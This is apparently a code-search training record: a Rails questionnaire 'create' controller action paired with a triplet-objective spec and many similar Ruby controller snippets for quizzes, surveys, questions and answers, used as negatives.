def create @questionnaire = Questionnaire.new(questionnaire_params) @questionnaire.build_questionnaire_with_options( questionnaire_params[:options][:question_count], questionnaire_params[:options][:answer_count]) respond_to do |format| if @questionnaire.save format.html { redirect_to @questionnaire, notice: 'Тест успешно создан, для заполнения вопросов и ответов - пройдите в раздел "Редактировать тест".'} format.json { render :show, status: :created, location: @questionnaire } else format.html { render :new } format.json { render json: @questionnaire.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if !params[:_json].blank?\n params[:_json] = JSON.parse params[:_json] if params[:_json].is_a? String\n \n #Routine de transformation en CSV\n json = params[:_json][0]\n headers = []\n values = []\n csv_string = CSV.generate do |csv|\n json.each do |key, value|\n if (!key.blank? && !value.blank? && value!=\"Autre\")\n #Exclusion de certain champs Limesurvey\n if !['id','Complété','Dernière page vue','Langue de départ', 'FusionQuestion', 'Code'].include?(key)\n #Nettoyage des champs du type \"champs [other]\"\n if key.include?(\" [other]\")\n #puts \"test [other]\"\n key = key.split(\" [other]\")[0] \n end\n headers << key\n values << value \n end\n end\n end\n csv << headers\n csv << values\n end\n \n @questionnaire = Questionnaire.new(params[:questionnaire])\n @questionnaire.content = csv_string\n profil_id, category_id = json['FusionQuestion'].to_s.split(\"/\")\n @questionnaire.profil = Profil.find(id=profil_id)\n @questionnaire.category = Category.find(id=category_id)\n end\n \n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully created.' }\n format.json { render json: @questionnaire, status: :created, location: @questionnaire }\n else\n format.html { render action: \"new\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:title, { question_ids: [] })\n end", "def create\n @answer = @question.answers.build(answer_params)\n @answer.save\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end", "def add_question\n form_param = params.require(:form).permit(:id)\n\n render json: Question.add_new_question(form_param)\n end", "def add_question\n\t\t\tif(current_instructor.quizzes.exists?(:id => params[:quiz_id]))\n\t\t\t\tquiz = current_instructor.quizzes.find(params[:quiz_id])\n\t\t\t\tno = quiz.no_of_MCQ + quiz.no_of_rearrangeQ\t\n\t\t\t\tno.times do |n|\n\t\t\t\t\tquestion = Question.create((params[\"_json\"][n]).permit([:text, :mark, :right_answer, :choices => []]))\n\t\t\t\t\tquiz.questions << question\n\t\t\t\tend\n\t\t\t\trender json: { info: \"created\"}, status: 201\n\t\t\telse\n\t\t\t\trender json: { error:\"Quiz is not found\" }, status: 422\n\t\t\tend\n\t\tend", "def index\n @questionnaires = @instance.questionnaires\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questionnaires }\n end\n end", "def new\n @survey = Survey.new\n @title = \"Новый тест\"\n\n 3.times do\n question = @survey.questions.build\n 4.times { question.answers.build }\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "def create\n @quiz = current_user.quizzes.build(quiz_params)\n\n @quiz.questions.each do |q|\n if q.question_type == \"free_answer\"\n q.answers = []\n end\n end\n\n puts @quiz.questions\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to current_user, notice: 'Quiz was successfully created.' }\n format.json { render :show, status: :created, location: @quiz }\n else\n format.html { render :new }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @questionnaire = @participant.build_questionnaire(params[:questionnaire])\n @questionnaire.step = 1\n \n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to new_questionnaire_path }\n # format.json { render json: @questionnaire, status: :created, location: @questionnaire }\n else\n format.html { render \"questionnaires/steps/step0\" }\n # format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @quiz = Quiz.new(quiz_params)\n questions_arr.each do |i|\n question = Question.new(question_params(i))\n choices_arr(i).each do |j|\n choice = Choice.new(choice_params(j))\n choice.save\n question.choices << choice\n end\n @quiz.questions << question\n end\n\n if @quiz.save\n User.find(params[:user_id]).quizzes << @quiz\n render json: @quiz, status: :created, location: @quiz\n else\n render json: @quiz.errors, status: :unprocessable_entity\n end\n end", "def create\n @question = Question.new(question_params)\n @question.answers.build(params[:question][:answer])\n\n # Creating associations for themes and levels\n asked_themes = params[:question][:theme_list].reject { |c| c.empty? }\n asked_levels = params[:question][:level_list].reject { |c| c.empty? }\n @question.theme_list.add(asked_themes)\n @question.level_list.add(asked_levels)\n\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to questions_path, notice: 'Question was successfully created.' }\n format.json { render action: 'show', status: :created, location: questions_path }\n else\n format.html { render action: 'new' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params.permit(:intitule, :estObligatoire, :nombreDeCaractere, :ordre, :sondage_id)\n ajout = QuestionOuverteService.instance.creerQuestionOuverte(params[:intitule], params[:estObligatoire], params[:nombreDeCaractere], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end", "def questionnaire_params\n params.require(:questionnaire).permit(\n :title,\n :description,\n options: {},\n questions_attributes:\n [:id,\n :question_text,\n :correct_answer,\n :_destroy,\n question_answers_attributes:\n [:id,\n :is_correct_flag,\n :answer_text,\n :_destroy\n ]\n ])\n end", "def create\n \n respond_to do |format|\n \n if !params[:questions].nil? \n params[:questions].each {\n |q| \n type = Question.find_by_id(q[0]).question_type\n answer = (type == 2 ? Answer.find_by_id(q[1]).correct : nil)\n Response.new( \n {\n \"question_id\" => q[0],\n \"answer_id\" => type == 2 ? q[1] : nil,\n \"text\" => type == 1 ? q[1] : nil,\n \"user_id\" => current_user.id,\n \"question_group_id\" => params[:response][:question_group_id],\n \"correct\" => answer\n }\n ).save\n }\n format.html { redirect_to '/responses', notice: 'Your responses were successfully saved.' }\n else\n @response = Response.new(params[:response])\n if @response.save\n format.html { redirect_to @response, notice: 'Response was successfully created.' }\n format.json { render json: @response, status: :created, location: @response }\n end\n end\n end\n end", "def questionario_resposta_params\n params.require(:questionario_resposta).permit(:questionario_id, :participante_id, :pergunta_id, :alternativa_id)\n end", "def create\n workout = Workout.find params[:workout_id]\n result = Question.create(workout, { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n @question = result[:question]\n\n respond_to do |format|\n unless @question.persisted?\n format.json { render :json => @question.errors.full_messages, :status => :unprocessable_entity }\n else\n format.json { render :json => @question.as_json({:include => :answers}) }\n end\n \n end\n\n end", "def create\n # @answer = Answer.new\n # @answer.user_id = current_user.もid\n # @answer.question_id = params[:question_id]\n # @answer.content = params[:content]\n # @answer.save\n # 一個保存できれば、何個でも保存できる\n if !params[:answer][:content]\n render json: {errors: \"未入力の項目があります。\"}, status: 422\n\n end\n @answer = current_user.answers.build(answer_params)\n @answer.save\n end", "def create\n @questionario_resposta = QuestionarioResposta.new(questionario_resposta_params)\n\n respond_to do |format|\n if @questionario_resposta.save\n format.html { redirect_to @questionario_resposta, notice: 'Questionario resposta was successfully created.' }\n format.json { render :show, status: :created, location: @questionario_resposta }\n else\n format.html { render :new }\n format.json { render json: @questionario_resposta.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @question.save\n @question_link = QuizQuestion.create!(:qtype => params[:qtype], :qid => @question.id, :quizid => params[:quizid], :points => params[:points])\n @question_link.save\n @question.update(:questionid => @question_link.id)\n @quiz = Quiz.find_by_id(params[:quizid])\n format.html { redirect_to admin_quiz_path(@quiz), notice: 'Quiz multiple choice question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\t\n\tquestion_param = question_params.merge(:words => in_words(question_params[\"answer\"].to_i))\n @question = Question.new(question_param)\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n\t#=end\n end", "def add_new_questions\n questionnaire_id = params[:id]\n # If the questionnaire is being used in the active period of an assignment, delete existing responses before adding new questions\n if AnswerHelper.check_and_delete_responses(questionnaire_id)\n flash[:success] = 'You have successfully added a new question. Any existing reviews for the questionnaire have been deleted!'\n else\n flash[:success] = 'You have successfully added a new question.'\n end\n\n questionnaire = Questionnaire.find(questionnaire_id)\n current_num_of_questions = questionnaire.questions.size\n max_seq = 0\n Questionnaire.find(questionnaire_id).questions.each do |question|\n if !question.seq.nil? && question.seq > max_seq\n max_seq = question.seq\n end\n end\n ((current_num_of_questions + 1)..(current_num_of_questions + params[:question][:total_num].to_i)).each do\n max_seq += 1\n # Create question object based on type using question_factory\n question = question_factory(params[:question][:type], questionnaire_id, max_seq)\n if question.is_a? ScoredQuestion\n question.weight = params[:question][:weight]\n question.max_label = Question::MAX_LABEL\n question.min_label = Question::MIN_LABEL\n end\n\n if Question::SIZES.key?(question.class.name)\n question.size = Question::SIZES[question.class.name]\n end\n if Question::ALTERNATIVES.key?(question.class.name)\n question.alternatives = Question::ALTERNATIVES[question.class.name]\n end\n\n begin\n question.save\n rescue StandardError => e\n flash[:error] = e.message\n end\n end\n redirect_to edit_questionnaire_path(questionnaire_id.to_sym)\n end", "def create\n @tutorial_quest = Tutorial::Quest.new(params[:tutorial_quest])\n\n respond_to do |format|\n if @tutorial_quest.save\n format.html { redirect_to @tutorial_quest, notice: 'Quest was successfully created.' }\n format.json { render json: @tutorial_quest, status: :created, location: @tutorial_quest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutorial_quest.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def save_questions(questionnaire_id)\n delete_questions questionnaire_id\n save_new_questions questionnaire_id\n \n if params[:question]\n for question_key in params[:question].keys\n begin\n if params[:question][question_key][:txt].strip.empty?\n # question text is empty, delete the question\n Question.delete(question_key)\n else\n if (@questionnaire.type == \"QuizQuestionnaire\")\n Question.update(question_key,:weight => 1, :txt => params[:question][question_key][:txt] )\n else\n Question.update(question_key, params[:question][question_key])\n end\n Question.update(question_key, params[:question][question_key])\n end\n rescue ActiveRecord::RecordNotFound \n end\n end\n end\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:abstract)\n end", "def index\n @questionnaires = Questionnaire.all\n end", "def index\n @questionnaires = Questionnaire.all\n end", "def index\n @questionnaires = Questionnaire.all\n end", "def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to question_answer_url(@question, @answer), notice: \"Answer was successfully created.\" }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # puts params\n questions = JSON.parse(params[:questions])\n q_hash = questions[\"questions\"]\n @assignment = Assignment.new\n @assignment.course_id = params[:course_id]\n @assignment.type = \"Homework\"\n @assignment.start_date = params[:start_date]\n @assignment.end_date = params[:end_date]\n @assignment.name = params[:name]\n # Following is the question hash\n q_hash.each do |key, value|\n a_hash = key[\"answers\"]\n question = key[\"question\"]\n puts question\n new_question = Question.new\n new_question.description = question\n new_question.type = \"MultipleChoice\"\n # Answer hash\n a_hash.each do |k,v|\n puts k[\"is_correct\"]\n puts k[\"description\"]\n new_answer = Answer.new\n new_answer.description = k[\"description\"]\n new_answer.is_correct = k[\"is_correct\"]\n new_question.association(:answers).add_to_target(new_answer)\n end\n @assignment.association(:questions).add_to_target(new_question)\n end\n \n if @assignment.save\n render :show, status: :created, location: @assignment\n else\n render json: @assignment.errors, status: :unprocessable_entity\n end\n end", "def create\n @questionnaire = Questionnaire.new(questionnaire_params)\n\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to questionnaires_url, notice: \"Questionnaire was successfully created.\" }\n else\n # format.html { render :new, status: :unprocessable_entity }\n format.html { redirect_to new_questionnaire_url, alert: @questionnaire.errors.full_messages.first }\n end\n end\n end", "def create\n @questionnaire = current_user.questionnaires.new(questionnaire_params)\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to company_questionnaire_path(@questionnaire.company, @questionnaire), notice: 'Questionnaire was successfully created.' }\n format.json { render :show, status: :created, location: @questionnaire } \n else \n flash[:danger] = @questionnaire.errors.full_messages.join(', ')\n format.html { render :new }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def manage_question(body)\n upload_questions(JSON.parse(body)['questions'])\n get_questions\nend", "def create\n @quiz = Quiz.find(params[:quiz_id])\n @question = Question.new(question_params) \n #respond_to do |format|\n if @question.save\n link_quiz_question(@quiz, @question)\n #format.json { render :show, status: :created, location: @question }\n else\n redirect_to quizzes_path\n flash[:notice] = 'Falha em criar pergunta'\n #format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n #end\n end", "def create\n @question = SurveyQuestion.new(question_params)\n if @question.save\n render json: @question\n else\n render json: @question.errors.full_messages.join(\", \"), status: :unprocessable_entity\n end\n end", "def create_quiz_questionnaire\n create_questionnaire\n end", "def create\n @question = Question.create!(question_params.merge({user_id: 1}))\n if question_params[:answers]\n question_params[:answers].with_indifferent_access.each do |answer|\n Answer.create!(name: answer[:name], question_id: @question.id)\n end\n end\n @question.prepare\n @question.broadcast\n render json: @question, status: :created\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:q1answer, :q2answer, :q3answer, :q4answer, :q5answer, :q6answer, :q7answer, :q8answer)\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:title)\n end", "def new\n @questions = Question.all\n @question = Question.new\n @answers = @question.answers.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def create\n @question = Question.new(question_params)\n\n if @question.save\n render json: @question\n else\n render status: 400, nothing: true\n end\n end", "def create\n\t\t@questionary = Questionary.new(questionary_params)\n\n\t\trespond_to do |format|\n\t\t\tif @questionary.save\n\t\t\t\tformat.html { redirect_to '/questionary_items/new/' + @questionary.id.to_s }\n\t\t\t\tformat.json { render :show, status: :created, location: @questionary }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @questionary.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def appt_questionnaires\n base_qm[:questionnaire].each_with_object({}) do |quest, acc|\n questionnaire_id = quest['id']\n acc[questionnaire_id] = quest\n end\n end", "def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.build(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @question, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @questionnaires = Questionnaire.all\n end", "def create\n @project = Project.find(params[:questionnaire][:project_id])\n @questionnaire = Questionnaire.new(params[:questionnaire])\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully created.' }\n format.json { render json: @questionnaire, status: :created, location: @questionnaire }\n format.js { render \"redirect\" }\n else\n format.html { render action: \"new\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n format.js {render \"validation_error\"}\n end\n end\n end", "def index\n # @questionnaires = Questionnaire.all \n end", "def create\n @quiz = Quiz.new(quiz_params)\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to @quiz, notice: \"Quiz was successfully created.\" }\n format.json { render :show, status: :created, location: @quiz }\n\t\tmy_array = []\n\t\tmy_array << @quiz.option1\n\t\tmy_array << @quiz.option2\n\t\tmy_array << @quiz.option3\n\t\tmy_array << @quiz.option4\n\t\t\n\t\tcorrect_respo = my_array[@quiz.correct_response.to_i - 1]\n\t\[email protected]_response_text = correct_respo\n\t\[email protected]\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end", "def answered\n @the_question = Question.find(params[:id])\n @the_question.answered = true\n @the_question.save\n render json: [{question: @the_question}]\n end", "def create\n filtered_params = filter_params(question_params)\n @question = @form.questions.new(filtered_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to admin_form_questions_path, notice: 'Вопрос успешно создан' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_new_questions(questionnaire_id)\n\n if params[:new_question]\n # The new_question array contains all the new questions\n # that should be saved to the database\n for question_key in params[:new_question].keys\n q = Question.new(params[:new_question][question_key])\n q.questionnaire_id = questionnaire_id\n if @questionnaire.type == \"QuizQuestionnaire\"\n q.weight = 1 #setting the weight to 1 for quiz questionnaire since the model validates this field\n q.true_false = false\n end\n q.save if !q.txt.strip.empty?\n end\n end\n end", "def question_params\n params.require(:question).permit(:titulo, :descripcion, :user_id, :university_id, :tag_ids => [])\n end", "def create\n\n\t\trespond_to do |format|\n\t\t\tif @answer.save\n\t\t\t\tformat.html { redirect_to @answer, notice: 'Survey was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @answer }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @answer.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def new\n @question = @quiz.questions.new\n\n 4.times { @question.answers.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def create\n \n @dquestion = @dtest.dquestions.new(params[:dquestion])\n\n respond_to do |format|\n if @dquestion.save\n # @dquestion.count_answer\n format.html { redirect_to dtest_dquestions_url(@dtest) }\n format.js\n else\n \n format.html { redirect_to dtests_url }\n end\n\n end\n #(@dquestion.count_answer).times { |i| Danswer.create!(answer_text: 'Answer ' + i.to_s, dquestion_id: @dquestion.id)}\n\n end", "def create\n @questionnaire = Questionnaire.new(params[:questionnaire])\n @quest = Quest.new(params[:quest])\n @choice = Choice.new(params[:choice])\n\n respond_to do |format|\n if @questionnaire.save\n flash[:notice]=\"Questionnaire Name #{@questionnaire.questionnaireName} Created\"\n format.html { redirect_to(:controller =>\"questionnaires\",:action =>\"new\") }\n #format.html { redirect_to(@questionnaire, :notice => 'Questionnaire was successfully created.') }\n format.xml { render :xml => @questionnaire, :status => :created, :location => @questionnaire }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @questionnaire.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @questionnaire = Questionnaire.new(params[:questionnaire])\n @questionnaire.course_instance = @instance\n \n authorize! :create, @questionnaire\n\n respond_to do |format|\n if @questionnaire.save\n format.html { redirect_to [@instance, @questionnaire], notice: 'Kysymyslomakkeen luominen onnistui.' }\n format.json { render json: @questionnaire, status: :created, location: @questionnaire }\n else\n format.html { render action: \"new\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @completed_quest = CompletedQuest.new(params[:completed_quest])\n\n respond_to do |format|\n if @completed_quest.save\n format.html { redirect_to @completed_quest, notice: 'Completed quest was successfully created.' }\n format.json { render json: @completed_quest, status: :created, location: @completed_quest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @completed_quest.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @question = current_user.questions.new\n\t2.times do\n\t @question.choices.build\n\tend\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end", "def questionnaire_params\n params.require(:questionnaire).permit!\n # params.require(:questionnaire).permit(:company_founder_1, :company_founder_2, :company_founder_3, :company_founder_4, :company_name, :company_website, :year_founded, :elevator_pitch, :interesting_why, :motivation, :product_stage, :financial_stage, :burn_rate, :revenue, :current_month_revenue, :ebitda_estimate, :risks_overview, :core_competency, :greatest_challenge, :opportunity, :critical_cost, :worst_case_scenario, :customers, :customers_overview, :customer_location, :customer_consumption, :customer_motivation, :customer_drivers, :distribution_power, :supply_power, :pricing_strategy, :company_evolution, :cofounder_story, :skills_mix_1, :skills_mix_2, :management_team_status, :management_team_filled_roles, :management_city_location, :past_experience_relevancy, :time_investment, :full_time_employees, :early_stage_experience, :location_relevancy, :contributed_capital, :management_earnings, :alternative_interest)\n end", "def create\n @room = Room.new(room_params)\n \n respond_to do |format|\n if @room.save\n trivia_category = (@room.category.eql? \"any\") ? '' : \"category=\" + @room.category\n \n questions_response = RestClient::Request.execute(\n method: :get,\n url: 'https://opentdb.com/api.php?amount=7&type=multiple&' + trivia_category\n )\n questions = JSON.parse(questions_response)['results']\n\n questions.each do |question|\n Question.create(\n :problem => question['question'],\n :category => question['category'],\n :correct_answer => question[\"correct_answer\"],\n :incorrect_answer_one => question[\"incorrect_answers\"][0],\n :incorrect_answer_two => question[\"incorrect_answers\"][1],\n :incorrect_answer_three => question[\"incorrect_answers\"][2],\n :room_id => @room.id\n )\n end\n format.html { redirect_to @room, notice: 'Room was successfully created.' }\n format.json { render :show, status: :created, location: @room }\n else\n format.html { render :new }\n format.json { render json: @room.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n content = \"朝食は\" + params[:my_dairy][:question1] + \"\\n\" + \"昼食は\" + params[:my_dairy][:question2] + \"\\n\" + \"夕食は\" + params[:my_dairy][:question3]\n @my_dairy = MyDairy.new(content: content)\n\n respond_to do |format|\n if @my_dairy.save\n format.html { redirect_to @my_dairy, notice: 'My dairy was successfully created.' }\n format.json { render :show, status: :created, location: @my_dairy }\n else\n format.html { render :new }\n format.json { render json: @my_dairy.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @add_question = AddQuestion.new(add_question_params)\n\n respond_to do |format|\n if @add_question.save\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @add_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @survey = Survey.new\n 3.times do\n question = @survey.questions.build\n 4.times { question.choices.build }\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "def create\n @tipo_answer = TipoAnswer.new(tipo_answer_params)\n\n respond_to do |format|\n if @tipo_answer.save\n format.html { redirect_to @tipo_answer, notice: 'Tipo answer was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_answer }\n else\n format.html { render :new }\n format.json { render json: @tipo_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def question_params\n params.require(:question).permit(:content, :response_type_id, :parent_id, :category_id, :groups,\n :version_independent_id, :description, :other_allowed, :subcategory_id,\n concepts_attributes: [:id, :value, :display_name, :code_system],\n data_collection_methods: [])\n end", "def new\n @project = Project.find(params[:project_id])\n @questionnaire = Questionnaire.new\n question = @questionnaire.qquestions.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end", "def question_params\n params.require(:question).permit(:title, :body)\n #require returns question array\n #of everything being posted, work with the questions part, and allow these two things to be submitted\n end", "def question_params\n params.require(:question).permit(:trivia_id, :quiz_id, :response, :is_correct)\n end", "def questionnaire_params\n params.require(:questionnaire).permit(:occupation, :why_participate, :carpentry, :plumbing, :electrical, :roofing, :song_leader, :bible, :recreation, :lifeguard, :accounting, :firstaid, :cpr_firstaid, :camp, :year, :site_leader, :involved_activities, :camp_director_approval, :camp_director_approval_date, :user_approval, :user_approval_date, :printed_date, :user_id)\n end", "def create\n purpose = params[:question].delete(:purpose)\n @question = Question.new(params[:question])\n @question.caption ||= \"\"\n @question.page = @page\n\n respond_to do |format|\n if @question.save and @question.update_attribute(:type, params[:question][:type])\n if purpose\n SpecialFieldAssociation.create :question => @question, :purpose => purpose, :questionnaire => @questionnaire\n end\n \n @question = Question.find(@question.id)\n if @question.kind_of? Questions::Field and @question.caption.blank?\n # get the default field caption in\n @question.caption = \"Pulse aqu’ para escribir una pregunta\"\n @question.save\n end\n \n format.html { redirect_to question_url(@question) }\n format.xml { head(:created, :location => question_url(@questionnaire, @page, @question, :format => 'xml')) }\n format.json { head(:created, :location => question_url(@questionnaire, @page, @question, :format => 'json')) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors.to_xml, :status => 500 }\n format.json { render :json => @question.errors.to_json, :status => 500 }\n end\n end\n end", "def create\n @multiple_choice_question = MultipleChoiceQuestion.new(params[:multiple_choice_question])\n\n respond_to do |format|\n if @multiple_choice_question.save\n format.html { redirect_to @multiple_choice_question, notice: 'Multiple choice question was successfully created.' }\n format.json { render json: @multiple_choice_question, status: :created, location: @multiple_choice_question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @multiple_choice_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @answer = @question.answers.new(answer_params)\n\n if @answer.save\n respond_to_save_success(@answer, [@question, @answer])\n else\n respond_to_save_failure(:new, @answer)\n end\n end", "def create\n @test_question = TestQuestion.new(params[:test_question])\n\n respond_to do |format|\n if @test_question.save\n format.html { redirect_to @test_question, :notice => 'Test question was successfully created.' }\n format.json { render :json => @test_question, :status => :created, :location => @test_question }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n quiz = Quiz.new(set_quiz_params)\n\n respond_to do |format|\n format.json do\n \n if quiz.valid?\n if quiz.save!\n render json: success_api({ question: quiz.question }, \"You fill correct answer!\")\n else\n render json: failed_api({ question: quiz.question }, \"You fill incorrect answer!\")\n end\n else\n render json: failed_api({}, quiz.errors.full_messages.first)\n end\n end\n end\n end", "def question_params\n params.require(:question).permit(:title, topic_ids: [], answers_attributes: [:id, :content, :is_correct])\n end", "def submit_form\n answers_params = params.permit!\n\n render json: Answer.insert_answers(answers_params, current_user[\"id\"])\n end", "def create\n @questionnairedetail = Questionnairedetail.new(questionnairedetail_params)\n\n respond_to do |format|\n if @questionnairedetail.save\n format.html { redirect_to @questionnairedetail, notice: 'Questionnairedetail was successfully created.' }\n format.json { render :show, status: :created, location: @questionnairedetail }\n else\n format.html { render :new }\n format.json { render json: @questionnairedetail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @quest = Quest.new(quest_params)\n respond_to do |format|\n if @quest.save\n format.html { redirect_to @quest, notice: 'Quest was successfully created.' }\n format.json { render :show, status: :created, location: @quest }\n else\n format.html { render :new }\n format.json { render json: @quest.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @other_study.build_questions\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @other_study }\n end\n end", "def new\n @tutorial_quest = Tutorial::Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tutorial_quest }\n end\n end", "def questions\n # Get a list of questionnaires that belong to instances of the current race\n if @course\n questionnaire_ids = @course.questionnaire_ids\n elsif @instance\n questionnaire_ids = @instance.questionnaire_ids\n else\n questionnaire_ids = []\n end\n\n # Collect question_ids that are used in those questionnaires\n question_ids = Set.new\n Questionnaire.where(:id => questionnaire_ids).find_each do |questionnaire|\n question_ids.merge(questionnaire.question_ids)\n end\n\n @questions = Question.find(question_ids.to_a)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions.to_json }\n end\n end", "def create\n @answer = current_user.answers.new(answer_params)\n @answer.question = @question\n @question.update(cant_answers: @question.cant_answers + 1)\n @answer.puntaje = 0\n @answer.best = false;\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer.question, notice: 'Respuesta creada satisfactoriamente' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n passed = true\n count = 0\n if params[:status] == \"listOfAnswers\"\n params[:answers].each do |ans|\n @answer = Answer.new(answers_params(ans))\n if @answer.save\n if @answer.correct\n count = count + 1\n # update_result ans[:user_id], ans[:quiz_id]\n end\n else\n passed = false\n end\n end\n if passed\n create_result params[:answers].first[:user_id], params[:answers].first[:quiz_id], count\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n else\n @answer = Answer.new(answer_params)\n if @answer.save\n if @answer.correct\n update_result\n end\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end\n end", "def create\n question = @current_user.question.create!(question_params)\n render json: { question: question }\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: 'Тест успешно удален.' }\n format.json { head :no_content }\n end\n end", "def create\n @question = current_user.questions.new(question_params)\n if current_user.university != nil \n @question.university_id = current_user.university_id\n end\n 